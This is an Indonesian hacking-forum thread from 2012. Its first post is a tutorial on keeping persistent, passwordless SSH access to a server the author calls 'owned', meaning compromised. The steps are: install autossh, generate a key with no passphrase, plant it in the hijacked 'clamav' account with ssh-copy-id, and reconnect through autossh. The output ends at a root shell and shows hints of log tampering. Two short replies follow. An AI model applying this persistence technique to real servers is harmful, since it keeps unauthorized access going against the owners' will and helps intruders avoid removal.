Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-18-2013, 07:51 PM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Networking › General Networking v
« Previous 1 ... 4 5 6 7 8 ... 14 Next »

[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
02-28-2012, 10:54 AM
Post: #1
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
[Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server yang diowned]
by: ev1ut10n

Dedicated to: "Manusia Biasa Team"
thanks to: devilzc0de, antijasakom , manusia biasa team and jasakom and all my bro and sista

install skrip autossh untuk mesin debian:
=================
#apt-get install autossh
================


jika berhasil maka akan tercipta skrip shell autossh biasanya di /usr/bin/:
======
#!/bin/sh
# little wrapper to choose a random port for autossh, falling back to $fallback_port

fallback_port="21021"
tcpstat="/proc/net/tcp"

# take an hex port and check whether it is in use (i.e. locally bound) in
# $tcpstat
# unix command semantics: if in use return 0 else return 1
port_in_use() {
if egrep -q "^[0-9 ]+: [0-9A-F]{8}:$1" $tcpstat ; then
return 0
else
return 1
fi
}

echo "$@" | egrep -q -- '-f?M ?[0-9]+' # backward compatibility, skip guess if -M is passed

if [ $? -gt 0 ] && [ -z "$AUTOSSH_PORT" ]; then
portguess=""
if [ -r "/dev/urandom" ] && [ -r "$tcpstat" ]; then
for t in $(seq 1 42); do
# get a random hex
randport=$( od -x -N2 -An /dev/urandom | tr -d ' ' )

# increase it a little "bit"
randport=$( /usr/bin/printf "%04x" $(( 0x$randport | 0x8000 )) )
randport_1=$( /usr/bin/printf "%04x" $(( 0x$randport + 1 )) )

# check if port is in use, possibile race condition between here
# and the exec
if ! port_in_use $randport && ! port_in_use $randport_1; then
portguess=$(( 0x$randport ))
break
fi
done
fi

if [ -z "$portguess" ]; then
fallback=$( /usr/bin/printf "%04x" $fallback_port )
fallback_1=$( /usr/bin/printf "%04x" $(( 0x$fallback + 1 )) )
if ! port_in_use $fallback && ! port_in_use $fallback_1; then
portguess=$fallback_port
else
echo "unable to find a suitable tunnel port"
exit 1
fi
fi

export AUTOSSH_PORT="$portguess"
fi
====================

selanjutnya siapkan public key ssh ( tanpa password )
===================================
root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
90:94:b1:22:20:69:cc:99:faketawad:68:ab:9e:3b:9b:01 root@ev1lut10n-Vostro1310
The key's randomart image is:
+--[ RSA 2048]----+
|=.o oo |
|oB ..o |
|o . . + |
|. . . . |
|E. . o S |
| .. + . |
| .. . |
| .+. |
| .B= |
+-----------------+

========================

setelah itu lakukan copy public key tadi ke server yang di0wn3d (di sini port ssh non default yaitud 5669):
=======
root@ev1lut10n-Vostro1310:/home/ev1lut10n# ssh-copy-id -i /root/.ssh/id_rsa.pub "clamav@hackerbox.org -p 5669"
clamav@81.15.18.2's password:
Now try logging into the machine, with "ssh 'clamav@hackerbox.org -p 5669'", and check in:

.ssh/authorized_keys

to make sure we haven't added extra keys that you weren't expecting.
=======


selanjutnya kita bisa gunakan autossh:
================
root@ev1lut10n-Vostro1310:/home/ev1lut10n# autossh -M 3339 clamav@hackerbox.org -p 5669
Welcome to motd of hackerbox.org
Last login: Tue Feb 28 03:34:49 2012 from 112.215.65.196
mv: cannot stat `secure.hm': No such file or directory
mv: cannot stat `xferlog.hm': No such file or directory
mv: cannot stat `maillog.hm': No such file or directory
mv: cannot stat `warn.hm': No such file or directory
mv: cannot stat `mail.hm': No such file or directory
mv: cannot stat `httpda.hm': No such file or directory
mv: cannot stat `httpde.hm': No such file or directory
sh-3.2#
===============

ok mungkin anda bertanya2 mengapa teknik ini digunakan?
jawabanya check it out:

========================
root@ev1lut10n-Vostro1310:~# netstat -a | grep 3339
tcp 0 0 localhost.localdom:3339 *:* LISTEN
tcp6 0 0 ev1lut10n-Vostro13:3339 [::]:* LISTEN
=========================
Find all posts by this user
Quote this message in a reply
 Reputed by :  tabun(+1) , xtr0nic(+1)
02-28-2012, 11:36 AM
Post: #2
gayut Offline
./Devilz 1st Cadet
Posts: 19
Joined: Feb 2012
Reputation: 0
RE: [Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
waduh ane pake fedora bingung

anyway..
mantap dah om tool-nya mantap
Find all posts by this user
Quote this message in a reply
02-29-2012, 12:50 AM
Post: #3
cbrnewbie Offline
./Devilz Advisor
Posts: 625
Joined: Jan 2011
Reputation: 19
RE: [Persisten SSH dengan skrip autossh dan memanfaatkan akun tanpa password di server]
masih nggak ngerti om.. mengapa harus pake autossh?

tcp 0 0 localhost.localdom:3339 *:* LISTEN
tcp6 0 0 ev1lut10n-Vostro13:3339 [::]:* LISTEN

apakah biar support ipv6?
Visit this user's website Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  [Tutor] Mari kita belajar voip dengan packet tracer Said 9 181 04-06-2013 07:47 PM
Last Post: Said
  Mempercepat Jaringan wifi dengan CMD Said 16 368 03-29-2013 03:25 PM
Last Post: Said
  [Ask] solusi penangkal sniff password proxy jeki 3 133 02-26-2013 02:56 AM
Last Post: ditatompel
  Cara cepat perhitungan subneting tanpa harus belajar bilangan biner. Lintang27™ 13 315 02-24-2013 02:34 AM
Last Post: x.intruders
  Team viwer dengan hamachi dvildance 12 471 02-03-2013 08:19 PM
Last Post: arkha86
  [Ask] Perbedaan Wireless dengan Frek 2,4Ghz dan 5Ghz Steve 5 197 12-14-2012 05:40 PM
Last Post: linustorvalds
  akun email sudah di hapus di webmail,tpi...??? anak smk 17 367 12-12-2012 07:35 PM
Last Post: Belatung Kubur
  [Solved] Permasalahan server outlook, anak smk 9 250 11-24-2012 10:51 AM
Last Post: anak smk
  [Tutor] PPTP-based VPN client dengan PPTP Client dan ip Tools (CLI) V for Vendetta 8 260 11-18-2012 04:10 PM
Last Post: nanda
Wink [Ask] cara menghubungkan VOIP dengan LDAP trayzero 6 1,733 10-15-2012 05:36 PM
Last Post: cbrnewbie

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-18-2013, 07:51 PM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE